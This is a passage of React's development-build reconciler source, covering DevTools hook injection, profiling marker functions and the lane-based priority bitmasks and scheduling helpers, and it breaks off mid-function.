4767 // This module only exists as an ESM wrapper around the external CommonJS
4768 var scheduleCallback = unstable_scheduleCallback;
4769 var cancelCallback = unstable_cancelCallback;
4770 var shouldYield = unstable_shouldYield;
4771 var requestPaint = unstable_requestPaint;
4772 var now = unstable_now;
4773 var getCurrentPriorityLevel = unstable_getCurrentPriorityLevel;
4774 var ImmediatePriority = unstable_ImmediatePriority;
4775 var UserBlockingPriority = unstable_UserBlockingPriority;
4776 var NormalPriority = unstable_NormalPriority;
4777 var LowPriority = unstable_LowPriority;
4778 var IdlePriority = unstable_IdlePriority;
4779 // this doesn't actually exist on the scheduler, but it *does*
4780 // on scheduler/unstable_mock, which we'll need for internal testing
4781 var unstable_yieldValue$1 = unstable_yieldValue;
4782 var unstable_setDisableYieldValue$1 = unstable_setDisableYieldValue;
4783
4784 var rendererID = null;
4785 var injectedHook = null;
4786 var injectedProfilingHooks = null;
4787 var hasLoggedError = false;
4788 var isDevToolsPresent = typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined';
4789 function injectInternals(internals) {
4790 if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {
4791 // No DevTools
4792 return false;
4793 }
4794
4795 var hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;
4796
4797 if (hook.isDisabled) {
4798 // This isn't a real property on the hook, but it can be set to opt out
4799 // of DevTools integration and associated warnings and logs.
4800 // https://github.com/facebook/react/issues/3877
4801 return true;
4802 }
4803
4804 if (!hook.supportsFiber) {
4805 {
4806 error('The installed version of React DevTools is too old and will not work ' + 'with the current version of React. Please update React DevTools. ' + 'https://reactjs.org/link/react-devtools');
4807 } // DevTools exists, even though it doesn't support Fiber.
4808
4809
4810 return true;
4811 }
4812
4813 try {
4814 if (enableSchedulingProfiler) {
4815 // Conditionally inject these hooks only if Timeline profiler is supported by this build.
4816 // This gives DevTools a way to feature detect that isn't tied to version number
4817 // (since profiling and timeline are controlled by different feature flags).
4818 internals = assign({}, internals, {
4819 getLaneLabelMap: getLaneLabelMap,
4820 injectProfilingHooks: injectProfilingHooks
4821 });
4822 }
4823
4824 rendererID = hook.inject(internals); // We have successfully injected, so now it is safe to set up hooks.
4825
4826 injectedHook = hook;
4827 } catch (err) {
4828 // Catch all errors because it is unsafe to throw during initialization.
4829 {
4830 error('React instrumentation encountered an error: %s.', err);
4831 }
4832 }
4833
4834 if (hook.checkDCE) {
4835 // This is the real DevTools.
4836 return true;
4837 } else {
4838 // This is likely a hook installed by Fast Refresh runtime.
4839 return false;
4840 }
4841 }
4842 function onScheduleRoot(root, children) {
4843 {
4844 if (injectedHook && typeof injectedHook.onScheduleFiberRoot === 'function') {
4845 try {
4846 injectedHook.onScheduleFiberRoot(rendererID, root, children);
4847 } catch (err) {
4848 if ( !hasLoggedError) {
4849 hasLoggedError = true;
4850
4851 error('React instrumentation encountered an error: %s', err);
4852 }
4853 }
4854 }
4855 }
4856 }
4857 function onCommitRoot(root, eventPriority) {
4858 if (injectedHook && typeof injectedHook.onCommitFiberRoot === 'function') {
4859 try {
4860 var didError = (root.current.flags & DidCapture) === DidCapture;
4861
4862 if (enableProfilerTimer) {
4863 var schedulerPriority;
4864
4865 switch (eventPriority) {
4866 case DiscreteEventPriority:
4867 schedulerPriority = ImmediatePriority;
4868 break;
4869
4870 case ContinuousEventPriority:
4871 schedulerPriority = UserBlockingPriority;
4872 break;
4873
4874 case DefaultEventPriority:
4875 schedulerPriority = NormalPriority;
4876 break;
4877
4878 case IdleEventPriority:
4879 schedulerPriority = IdlePriority;
4880 break;
4881
4882 default:
4883 schedulerPriority = NormalPriority;
4884 break;
4885 }
4886
4887 injectedHook.onCommitFiberRoot(rendererID, root, schedulerPriority, didError);
4888 } else {
4889 injectedHook.onCommitFiberRoot(rendererID, root, undefined, didError);
4890 }
4891 } catch (err) {
4892 {
4893 if (!hasLoggedError) {
4894 hasLoggedError = true;
4895
4896 error('React instrumentation encountered an error: %s', err);
4897 }
4898 }
4899 }
4900 }
4901 }
4902 function onPostCommitRoot(root) {
4903 if (injectedHook && typeof injectedHook.onPostCommitFiberRoot === 'function') {
4904 try {
4905 injectedHook.onPostCommitFiberRoot(rendererID, root);
4906 } catch (err) {
4907 {
4908 if (!hasLoggedError) {
4909 hasLoggedError = true;
4910
4911 error('React instrumentation encountered an error: %s', err);
4912 }
4913 }
4914 }
4915 }
4916 }
4917 function onCommitUnmount(fiber) {
4918 if (injectedHook && typeof injectedHook.onCommitFiberUnmount === 'function') {
4919 try {
4920 injectedHook.onCommitFiberUnmount(rendererID, fiber);
4921 } catch (err) {
4922 {
4923 if (!hasLoggedError) {
4924 hasLoggedError = true;
4925
4926 error('React instrumentation encountered an error: %s', err);
4927 }
4928 }
4929 }
4930 }
4931 }
4932 function setIsStrictModeForDevtools(newIsStrictMode) {
4933 {
4934 if (typeof unstable_yieldValue$1 === 'function') {
4935 // We're in a test because Scheduler.unstable_yieldValue only exists
4936 // in SchedulerMock. To reduce the noise in strict mode tests,
4937 // suppress warnings and disable scheduler yielding during the double render
4938 unstable_setDisableYieldValue$1(newIsStrictMode);
4939 setSuppressWarning(newIsStrictMode);
4940 }
4941
4942 if (injectedHook && typeof injectedHook.setStrictMode === 'function') {
4943 try {
4944 injectedHook.setStrictMode(rendererID, newIsStrictMode);
4945 } catch (err) {
4946 {
4947 if (!hasLoggedError) {
4948 hasLoggedError = true;
4949
4950 error('React instrumentation encountered an error: %s', err);
4951 }
4952 }
4953 }
4954 }
4955 }
4956 } // Profiler API hooks
4957
4958 function injectProfilingHooks(profilingHooks) {
4959 injectedProfilingHooks = profilingHooks;
4960 }
4961
4962 function getLaneLabelMap() {
4963 {
4964 var map = new Map();
4965 var lane = 1;
4966
4967 for (var index = 0; index < TotalLanes; index++) {
4968 var label = getLabelForLane(lane);
4969 map.set(lane, label);
4970 lane *= 2;
4971 }
4972
4973 return map;
4974 }
4975 }
4976
4977 function markCommitStarted(lanes) {
4978 {
4979 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStarted === 'function') {
4980 injectedProfilingHooks.markCommitStarted(lanes);
4981 }
4982 }
4983 }
4984 function markCommitStopped() {
4985 {
4986 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStopped === 'function') {
4987 injectedProfilingHooks.markCommitStopped();
4988 }
4989 }
4990 }
4991 function markComponentRenderStarted(fiber) {
4992 {
4993 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStarted === 'function') {
4994 injectedProfilingHooks.markComponentRenderStarted(fiber);
4995 }
4996 }
4997 }
4998 function markComponentRenderStopped() {
4999 {
5000 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStopped === 'function') {
5001 injectedProfilingHooks.markComponentRenderStopped();
5002 }
5003 }
5004 }
5005 function markComponentPassiveEffectMountStarted(fiber) {
5006 {
5007 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStarted === 'function') {
5008 injectedProfilingHooks.markComponentPassiveEffectMountStarted(fiber);
5009 }
5010 }
5011 }
5012 function markComponentPassiveEffectMountStopped() {
5013 {
5014 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStopped === 'function') {
5015 injectedProfilingHooks.markComponentPassiveEffectMountStopped();
5016 }
5017 }
5018 }
5019 function markComponentPassiveEffectUnmountStarted(fiber) {
5020 {
5021 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStarted === 'function') {
5022 injectedProfilingHooks.markComponentPassiveEffectUnmountStarted(fiber);
5023 }
5024 }
5025 }
5026 function markComponentPassiveEffectUnmountStopped() {
5027 {
5028 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStopped === 'function') {
5029 injectedProfilingHooks.markComponentPassiveEffectUnmountStopped();
5030 }
5031 }
5032 }
5033 function markComponentLayoutEffectMountStarted(fiber) {
5034 {
5035 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStarted === 'function') {
5036 injectedProfilingHooks.markComponentLayoutEffectMountStarted(fiber);
5037 }
5038 }
5039 }
5040 function markComponentLayoutEffectMountStopped() {
5041 {
5042 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStopped === 'function') {
5043 injectedProfilingHooks.markComponentLayoutEffectMountStopped();
5044 }
5045 }
5046 }
5047 function markComponentLayoutEffectUnmountStarted(fiber) {
5048 {
5049 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStarted === 'function') {
5050 injectedProfilingHooks.markComponentLayoutEffectUnmountStarted(fiber);
5051 }
5052 }
5053 }
5054 function markComponentLayoutEffectUnmountStopped() {
5055 {
5056 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStopped === 'function') {
5057 injectedProfilingHooks.markComponentLayoutEffectUnmountStopped();
5058 }
5059 }
5060 }
5061 function markComponentErrored(fiber, thrownValue, lanes) {
5062 {
5063 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentErrored === 'function') {
5064 injectedProfilingHooks.markComponentErrored(fiber, thrownValue, lanes);
5065 }
5066 }
5067 }
5068 function markComponentSuspended(fiber, wakeable, lanes) {
5069 {
5070 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentSuspended === 'function') {
5071 injectedProfilingHooks.markComponentSuspended(fiber, wakeable, lanes);
5072 }
5073 }
5074 }
5075 function markLayoutEffectsStarted(lanes) {
5076 {
5077 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStarted === 'function') {
5078 injectedProfilingHooks.markLayoutEffectsStarted(lanes);
5079 }
5080 }
5081 }
5082 function markLayoutEffectsStopped() {
5083 {
5084 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStopped === 'function') {
5085 injectedProfilingHooks.markLayoutEffectsStopped();
5086 }
5087 }
5088 }
5089 function markPassiveEffectsStarted(lanes) {
5090 {
5091 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStarted === 'function') {
5092 injectedProfilingHooks.markPassiveEffectsStarted(lanes);
5093 }
5094 }
5095 }
5096 function markPassiveEffectsStopped() {
5097 {
5098 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStopped === 'function') {
5099 injectedProfilingHooks.markPassiveEffectsStopped();
5100 }
5101 }
5102 }
5103 function markRenderStarted(lanes) {
5104 {
5105 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStarted === 'function') {
5106 injectedProfilingHooks.markRenderStarted(lanes);
5107 }
5108 }
5109 }
5110 function markRenderYielded() {
5111 {
5112 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderYielded === 'function') {
5113 injectedProfilingHooks.markRenderYielded();
5114 }
5115 }
5116 }
5117 function markRenderStopped() {
5118 {
5119 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStopped === 'function') {
5120 injectedProfilingHooks.markRenderStopped();
5121 }
5122 }
5123 }
5124 function markRenderScheduled(lane) {
5125 {
5126 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderScheduled === 'function') {
5127 injectedProfilingHooks.markRenderScheduled(lane);
5128 }
5129 }
5130 }
5131 function markForceUpdateScheduled(fiber, lane) {
5132 {
5133 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markForceUpdateScheduled === 'function') {
5134 injectedProfilingHooks.markForceUpdateScheduled(fiber, lane);
5135 }
5136 }
5137 }
5138 function markStateUpdateScheduled(fiber, lane) {
5139 {
5140 if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markStateUpdateScheduled === 'function') {
5141 injectedProfilingHooks.markStateUpdateScheduled(fiber, lane);
5142 }
5143 }
5144 }
5145
5146 var NoMode =
5147 /* */
5148 0; // TODO: Remove ConcurrentMode by reading from the root tag instead
5149
5150 var ConcurrentMode =
5151 /* */
5152 1;
5153 var ProfileMode =
5154 /* */
5155 2;
5156 var StrictLegacyMode =
5157 /* */
5158 8;
5159 var StrictEffectsMode =
5160 /* */
5161 16;
5162
5163 // TODO: This is pretty well supported by browsers. Maybe we can drop it.
5164 var clz32 = Math.clz32 ? Math.clz32 : clz32Fallback; // Count leading zeros.
5165 // Based on:
5166 // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/clz32
5167
5168 var log = Math.log;
5169 var LN2 = Math.LN2;
5170
5171 function clz32Fallback(x) {
5172 var asUint = x >>> 0;
5173
5174 if (asUint === 0) {
5175 return 32;
5176 }
5177
5178 return 31 - (log(asUint) / LN2 | 0) | 0;
5179 }
5180
5181 // If those values are changed that package should be rebuilt and redeployed.
5182
5183 var TotalLanes = 31;
5184 var NoLanes =
5185 /* */
5186 0;
5187 var NoLane =
5188 /* */
5189 0;
5190 var SyncLane =
5191 /* */
5192 1;
5193 var InputContinuousHydrationLane =
5194 /* */
5195 2;
5196 var InputContinuousLane =
5197 /* */
5198 4;
5199 var DefaultHydrationLane =
5200 /* */
5201 8;
5202 var DefaultLane =
5203 /* */
5204 16;
5205 var TransitionHydrationLane =
5206 /* */
5207 32;
5208 var TransitionLanes =
5209 /* */
5210 4194240;
5211 var TransitionLane1 =
5212 /* */
5213 64;
5214 var TransitionLane2 =
5215 /* */
5216 128;
5217 var TransitionLane3 =
5218 /* */
5219 256;
5220 var TransitionLane4 =
5221 /* */
5222 512;
5223 var TransitionLane5 =
5224 /* */
5225 1024;
5226 var TransitionLane6 =
5227 /* */
5228 2048;
5229 var TransitionLane7 =
5230 /* */
5231 4096;
5232 var TransitionLane8 =
5233 /* */
5234 8192;
5235 var TransitionLane9 =
5236 /* */
5237 16384;
5238 var TransitionLane10 =
5239 /* */
5240 32768;
5241 var TransitionLane11 =
5242 /* */
5243 65536;
5244 var TransitionLane12 =
5245 /* */
5246 131072;
5247 var TransitionLane13 =
5248 /* */
5249 262144;
5250 var TransitionLane14 =
5251 /* */
5252 524288;
5253 var TransitionLane15 =
5254 /* */
5255 1048576;
5256 var TransitionLane16 =
5257 /* */
5258 2097152;
5259 var RetryLanes =
5260 /* */
5261 130023424;
5262 var RetryLane1 =
5263 /* */
5264 4194304;
5265 var RetryLane2 =
5266 /* */
5267 8388608;
5268 var RetryLane3 =
5269 /* */
5270 16777216;
5271 var RetryLane4 =
5272 /* */
5273 33554432;
5274 var RetryLane5 =
5275 /* */
5276 67108864;
5277 var SomeRetryLane = RetryLane1;
5278 var SelectiveHydrationLane =
5279 /* */
5280 134217728;
5281 var NonIdleLanes =
5282 /* */
5283 268435455;
5284 var IdleHydrationLane =
5285 /* */
5286 268435456;
5287 var IdleLane =
5288 /* */
5289 536870912;
5290 var OffscreenLane =
5291 /* */
5292 1073741824; // This function is used for the experimental timeline (react-devtools-timeline)
5293 // It should be kept in sync with the Lanes values above.
5294
5295 function getLabelForLane(lane) {
5296 {
5297 if (lane & SyncLane) {
5298 return 'Sync';
5299 }
5300
5301 if (lane & InputContinuousHydrationLane) {
5302 return 'InputContinuousHydration';
5303 }
5304
5305 if (lane & InputContinuousLane) {
5306 return 'InputContinuous';
5307 }
5308
5309 if (lane & DefaultHydrationLane) {
5310 return 'DefaultHydration';
5311 }
5312
5313 if (lane & DefaultLane) {
5314 return 'Default';
5315 }
5316
5317 if (lane & TransitionHydrationLane) {
5318 return 'TransitionHydration';
5319 }
5320
5321 if (lane & TransitionLanes) {
5322 return 'Transition';
5323 }
5324
5325 if (lane & RetryLanes) {
5326 return 'Retry';
5327 }
5328
5329 if (lane & SelectiveHydrationLane) {
5330 return 'SelectiveHydration';
5331 }
5332
5333 if (lane & IdleHydrationLane) {
5334 return 'IdleHydration';
5335 }
5336
5337 if (lane & IdleLane) {
5338 return 'Idle';
5339 }
5340
5341 if (lane & OffscreenLane) {
5342 return 'Offscreen';
5343 }
5344 }
5345 }
5346 var NoTimestamp = -1;
5347 var nextTransitionLane = TransitionLane1;
5348 var nextRetryLane = RetryLane1;
5349
5350 function getHighestPriorityLanes(lanes) {
5351 switch (getHighestPriorityLane(lanes)) {
5352 case SyncLane:
5353 return SyncLane;
5354
5355 case InputContinuousHydrationLane:
5356 return InputContinuousHydrationLane;
5357
5358 case InputContinuousLane:
5359 return InputContinuousLane;
5360
5361 case DefaultHydrationLane:
5362 return DefaultHydrationLane;
5363
5364 case DefaultLane:
5365 return DefaultLane;
5366
5367 case TransitionHydrationLane:
5368 return TransitionHydrationLane;
5369
5370 case TransitionLane1:
5371 case TransitionLane2:
5372 case TransitionLane3:
5373 case TransitionLane4:
5374 case TransitionLane5:
5375 case TransitionLane6:
5376 case TransitionLane7:
5377 case TransitionLane8:
5378 case TransitionLane9:
5379 case TransitionLane10:
5380 case TransitionLane11:
5381 case TransitionLane12:
5382 case TransitionLane13:
5383 case TransitionLane14:
5384 case TransitionLane15:
5385 case TransitionLane16:
5386 return lanes & TransitionLanes;
5387
5388 case RetryLane1:
5389 case RetryLane2:
5390 case RetryLane3:
5391 case RetryLane4:
5392 case RetryLane5:
5393 return lanes & RetryLanes;
5394
5395 case SelectiveHydrationLane:
5396 return SelectiveHydrationLane;
5397
5398 case IdleHydrationLane:
5399 return IdleHydrationLane;
5400
5401 case IdleLane:
5402 return IdleLane;
5403
5404 case OffscreenLane:
5405 return OffscreenLane;
5406
5407 default:
5408 {
5409 error('Should have found matching lanes. This is a bug in React.');
5410 } // This shouldn't be reachable, but as a fallback, return the entire bitmask.
5411
5412
5413 return lanes;
5414 }
5415 }
5416
5417 function getNextLanes(root, wipLanes) {
5418 // Early bailout if there's no pending work left.
5419 var pendingLanes = root.pendingLanes;
5420
5421 if (pendingLanes === NoLanes) {
5422 return NoLanes;
5423 }
5424
5425 var nextLanes = NoLanes;
5426 var suspendedLanes = root.suspendedLanes;
5427 var pingedLanes = root.pingedLanes; // Do not work on any idle work until all the non-idle work has finished,
5428 // even if the work is suspended.
5429
5430 var nonIdlePendingLanes = pendingLanes & NonIdleLanes;
5431
5432 if (nonIdlePendingLanes !== NoLanes) {
5433 var nonIdleUnblockedLanes = nonIdlePendingLanes & ~suspendedLanes;
5434
5435 if (nonIdleUnblockedLanes !== NoLanes) {
5436 nextLanes = getHighestPriorityLanes(nonIdleUnblockedLanes);
5437 } else {
5438 var nonIdlePingedLanes = nonIdlePendingLanes & pingedLanes;
5439
5440 if (nonIdlePingedLanes !== NoLanes) {
5441 nextLanes = getHighestPriorityLanes(nonIdlePingedLanes);
5442 }
5443 }
5444 } else {
5445 // The only remaining work is Idle.
5446 var unblockedLanes = pendingLanes & ~suspendedLanes;
5447
5448 if (unblockedLanes !== NoLanes) {
5449 nextLanes = getHighestPriorityLanes(unblockedLanes);
5450 } else {
5451 if (pingedLanes !== NoLanes) {
5452 nextLanes = getHighestPriorityLanes(pingedLanes);
5453 }
5454 }
5455 }
5456
5457 if (nextLanes === NoLanes) {
5458 // This should only be reachable if we're suspended
5459 // TODO: Consider warning in this path if a fallback timer is not scheduled.
5460 return NoLanes;
5461 } // If we're already in the middle of a render, switching lanes will interrupt
5462 // it and we'll lose our progress. We should only do this if the new lanes are
5463 // higher priority.
5464
5465
5466 if (wipLanes !== NoLanes && wipLanes !== nextLanes && // If we already suspended with a delay, then interrupting is fine. Don't
5467 // bother waiting until the root is complete.
5468 (wipLanes & suspendedLanes) === NoLanes) {
5469 var nextLane = getHighestPriorityLane(nextLanes);
5470 var wipLane = getHighestPriorityLane(wipLanes);
5471
5472 if ( // Tests whether the next lane is equal or lower priority than the wip
5473 // one. This works because the bits decrease in priority as you go left.
5474 nextLane >= wipLane || // Default priority updates should not interrupt transition updates. The
5475 // only difference between default updates and transition updates is that
5476 // default updates do not support refresh transitions.
5477 nextLane === DefaultLane && (wipLane & TransitionLanes) !== NoLanes) {
5478 // Keep working on the existing in-progress tree. Do not interrupt.
5479 return wipLanes;
5480 }
5481 }
5482
5483 if ((nextLanes & InputContinuousLane) !== NoLanes) {
5484 // When updates are sync by default, we entangle continuous priority updates
5485 // and default updates, so they render in the same batch. The only reason
5486 // they use separate lanes is because continuous updates should interrupt
5487 // transitions, but default updates should not.
5488 nextLanes |= pendingLanes & DefaultLane;
5489 } // Check for entangled lanes and add them to the batch.
5490 //
5491 // A lane is said to be entangled with another when it's not allowed to render
5492 // in a batch that does not also include the other lane. Typically we do this
5493 // when multiple updates have the same source, and we only want to respond to
5494 // the most recent event from that source.
5495 //
5496 // Note that we apply entanglements *after* checking for partial work above.
5497 // This means that if a lane is entangled during an interleaved event while
5498 // it's already rendering, we won't interrupt it. This is intentional, since
5499 // entanglement is usually "best effort": we'll try our best to render the
5500 // lanes in the same batch, but it's not worth throwing out partially
5501 // completed work in order to do it.
5502 // TODO: Reconsider this. The counter-argument is that the partial work
5503 // represents an intermediate state, which we don't want to show to the user.
5504 // And by spending extra time finishing it, we're increasing the amount of
5505 // time it takes to show the final state, which is what they are actually
5506 // waiting for.
5507 //
5508 // For those exceptions where entanglement is semantically important, like
5509 // useMutableSource, we should ensure that there is no partial work at the
5510 // time we apply the entanglement.
5511
5512
5513 var entangledLanes = root.entangledLanes;
5514
5515 if (entangledLanes !== NoLanes) {
5516 var entanglements = root.entanglements;
5517 var lanes = nextLanes & entangledLanes;
5518
5519 while (lanes > 0) {
5520 var index = pickArbitraryLaneIndex(lanes);
5521 var lane = 1 << index;
5522 nextLanes |= entanglements[index];
5523 lanes &= ~lane;
5524 }
5525 }
5526
5527 return nextLanes;
5528 }
5529 function getMostRecentEventTime(root, lanes) {
5530 var eventTimes = root.eventTimes;
5531 var mostRecentEventTime = NoTimestamp;
5532
5533 while (lanes > 0) {
5534 var index = pickArbitraryLaneIndex(lanes);
5535 var lane = 1 << index;
5536 var eventTime = eventTimes[index];
5537
5538 if (eventTime > mostRecentEventTime) {
5539 mostRecentEventTime = eventTime;
5540 }
5541
5542 lanes &= ~lane;
5543 }
5544
5545 return mostRecentEventTime;
5546 }
5547
5548 function computeExpirationTime(lane, currentTime) {
5549 switch (lane) {
5550 case SyncLane:
5551 case InputContinuousHydrationLane:
5552 case InputContinuousLane:
5553 // User interactions should expire slightly more quickly.
5554 //
5555 // NOTE: This is set to the corresponding constant as in Scheduler.js.
5556 // When we made it larger, a product metric in www regressed, suggesting
5557 // there's a user interaction that's being starved by a series of
5558 // synchronous updates. If that theory is correct, the proper solution is
5559 // to fix the starvation. However, this scenario supports the idea that
5560 // expiration times are an important safeguard when starvation
5561 // does happen.
5562 return currentTime + 250;
5563
5564 case DefaultHydrationLane:
5565 case DefaultLane:
5566 case TransitionHydrationLane:
5567 case TransitionLane1:
5568 case TransitionLane2:
5569 case TransitionLane3:
5570 case TransitionLane4:
5571 case TransitionLane5:
5572 case TransitionLane6:
5573 case TransitionLane7:
5574 case TransitionLane8:
5575 case TransitionLane9:
5576 case TransitionLane10:
5577 case TransitionLane11:
5578 case TransitionLane12:
5579 case TransitionLane13:
5580 case TransitionLane14:
5581 case TransitionLane15:
5582 case TransitionLane16:
5583 return currentTime + 5000;
5584
5585 case RetryLane1:
5586 case RetryLane2:
5587 case RetryLane3:
5588 case RetryLane4:
5589 case RetryLane5:
5590 // TODO: Retries should be allowed to expire if they are CPU bound for
5591 // too long, but when I made this change it caused a spike in browser
5592 // crashes. There must be some other underlying bug; not super urgent but
5593 // ideally should figure out why and fix it. Unfortunately we don't have
5594 // a repro for the crashes, only detected via production metrics.
5595 return NoTimestamp;
5596
5597 case SelectiveHydrationLane:
5598 case IdleHydrationLane:
5599 case IdleLane:
5600 case OffscreenLane:
5601 // Anything idle priority or lower should never expire.
5602 return NoTimestamp;
5603
5604 default:
5605 {
5606 error('Should have found matching lanes. This is a bug in React.');
5607 }
5608
5609 return NoTimestamp;
5610 }
5611 }
5612
5613 function markStarvedLanesAsExpired(root, currentTime) {
5614 // TODO: This gets called every time we yield. We can optimize by storing
5615 // the earliest expiration time on the root. Then use that to quickly bail out
5616 // of this function.
5617 var pendingLanes = root.pendingLanes;
5618 var suspendedLanes = root.suspendedLanes;
5619 var pingedLanes = root.pingedLanes;
5620 var expirationTimes = root.expirationTimes; // Iterate through the pending lanes and check if we've reached their
5621 // expiration time. If so, we'll assume the update is being starved and mark
5622 // it as expired to force it to finish.
5623
5624 var lanes = pendingLanes;
5625
5626 while (lanes > 0) {
5627 var index = pickArbitraryLaneIndex(lanes);
5628 var lane = 1 << index;
5629 var expirationTime = expirationTimes[index];
5630
5631 if (expirationTime === NoTimestamp) {
5632 // Found a pending lane with no expiration time. If it's not suspended, or
5633 // if it's pinged, assume it's CPU-bound. Compute a new expiration time
5634 // using the current time.
5635 if ((lane & suspendedLanes) === NoLanes || (lane & pingedLanes) !== NoLanes) {
5636 // Assumes timestamps are monotonically increasing.
5637 expirationTimes[index] = computeExpirationTime(lane, currentTime);
5638 }
5639 } else if (expirationTime <= currentTime) {
5640 // This lane expired
5641 root.expiredLanes |= lane;
5642 }
5643
5644 lanes &= ~lane;
5645 }
5646 } // This returns the highest priority pending lanes regardless of whether they
5647 // are suspended.
5648
5649 function getHighestPriorityPendingLanes(root) {
5650 return getHighestPriorityLanes(root.pendingLanes);
5651 }
5652 function getLanesToRetrySynchronouslyOnError(root) {
5653 var everythingButOffscreen = root.pendingLanes & ~OffscreenLane;
5654
5655 if (everythingButOffscreen !== NoLanes) {
5656 return everythingButOffscreen;
5657 }
5658
5659 if (everythingButOffscreen & OffscreenLane) {
5660 return OffscreenLane;
5661 }
5662
5663 return NoLanes;
5664 }
5665 function includesSyncLane(lanes) {
5666 return (lanes & SyncLane) !== NoLanes;
5667 }
5668 function includesNonIdleWork(lanes) {
5669 return (lanes & NonIdleLanes) !== NoLanes;
5670 }
5671 function includesOnlyRetries(lanes) {
5672 return (lanes & RetryLanes) === lanes;
5673 }
5674 function includesOnlyNonUrgentLanes(lanes) {
5675 var UrgentLanes = SyncLane | InputContinuousLane | DefaultLane;
5676 return (lanes & UrgentLanes) === NoLanes;
5677 }
5678 function includesOnlyTransitions(lanes) {
5679 return (lanes & TransitionLanes) === lanes;
5680 }
5681 function includesBlockingLane(root, lanes) {
5682
5683 var SyncDefaultLanes = InputContinuousHydrationLane | InputContinuousLane | DefaultHydrationLane | DefaultLane;
5684 return (lanes & SyncDefaultLanes) !== NoLanes;
5685 }
5686 function includesExpiredLane(root, lanes) {
5687 // This is a separate check from includesBlockingLane because a lane can
5688 // expire after a render has already started.
5689 return (lanes & root.expiredLanes) !== NoLanes;
5690 }
5691 function isTransitionLane(lane) {
5692 return (lane & TransitionLanes) !== NoLanes;
5693 }
5694 function claimNextTransitionLane() {
5695 // Cycle through the lanes, assigning each new transition to the next lane.
5696 // In most cases, this means every transition gets its own lane, until we
5697 // run out of lanes and cycle back to the beginning.
5698 var lane = nextTransitionLane;
5699 nextTransitionLane <<= 1;
5700
5701 if ((nextTransitionLane & TransitionLanes) === NoLanes) {
5702 nextTransitionLane = TransitionLane1;
5703 }
5704
5705 return lane;
5706 }
5707 function claimNextRetryLane() {
5708 var lane = nextRetryLane;
5709 nextRetryLane <<= 1;
5710
5711 if ((nextRetryLane & RetryLanes) === NoLanes) {
5712 nextRetryLane = RetryLane1;
5713 }
5714
5715 return lane;
5716 }
5717 function getHighestPriorityLane(lanes) {
5718 return lanes & -lanes;
5719 }
5720 function pickArbitraryLane(lanes) {
5721 // This wrapper function gets inlined. Only exists so to communicate that it
5722 // doesn't matter which bit is selected; you can pick any bit without
5723 // affecting the algorithms where its used. Here I'm using
5724 // getHighestPriorityLane because it requires the fewest operations.
5725 return getHighestPriorityLane(lanes);
5726 }
5727
5728 function pickArbitraryLaneIndex(lanes) {
5729 return 31 - clz32(lanes);
5730 }
5731
5732 function laneToIndex(lane) {
5733 return pickArbitraryLaneIndex(lane);
5734 }
5735
5736 function includesSomeLane(a, b) {
5737 return (a & b) !== NoLanes;
5738 }
5739 function isSubsetOfLanes(set, subset) {
5740 return (set & subset) === subset;
5741 }
5742 function mergeLanes(a, b) {
5743 return a | b;
5744 }
5745 function removeLanes(set, subset) {
5746 return set & ~subset;
5747 }
5748 function intersectLanes(a, b) {
5749 return a & b;
5750 } // Seems redundant, but it changes the type from a single lane (used for
5751 // updates) to a group of lanes (used for flushing work).
5752
5753 function laneToLanes(lane) {
5754 return lane;
5755 }
5756 function higherPriorityLane(a, b) {
5757 // This works because the bit ranges decrease in priority as you go left.
5758 return a !== NoLane && a < b ? a : b;
5759 }
5760 function createLaneMap(initial) {
5761 // Intentionally pushing one by one.
5762 // https://v8.dev/blog/elements-kinds#avoid-creating-holes
5763 var laneMap = [];
5764
5765 for (var i = 0; i < TotalLanes; i++) {
5766 laneMap.push(initial);
5767 }
5768
5769 return laneMap;
5770 }
5771 function markRootUpdated(root, updateLane, eventTime) {
5772 root.pendingLanes |= updateLane; // If there are any suspended transitions, it's possible this new update
5773 // could unblock them. Clear the suspended lanes so that we can try rendering
5774 // them again.
5775 //
5776 // TODO: We really only need to unsuspend only lanes that are in the
5777 // `subtreeLanes` of the updated fiber, or the update lanes of the return
5778 // path. This would exclude suspended updates in an unrelated sibling tree,
5779 // since there's no way for this update to unblock it.
5780 //
5781 // We don't do this if the incoming update is idle, because we never process
5782 // idle updates until after all the regular updates have finished; there's no
5783 // way it could unblock a transition.
5784
5785 if (updateLane !== IdleLane) {
5786 root.suspendedLanes = NoLanes;
5787 root.pingedLanes = NoLanes;
5788 }
5789
5790 var eventTimes = root.eventTimes;
5791 var index = laneToIndex(updateLane); // We can always overwrite an existing timestamp because we prefer the most
5792 // recent event, and we assume time is monotonically increasing.
5793
5794 eventTimes[index] = eventTime;
5795 }
5796 function markRootSuspended(root, suspendedLanes) {
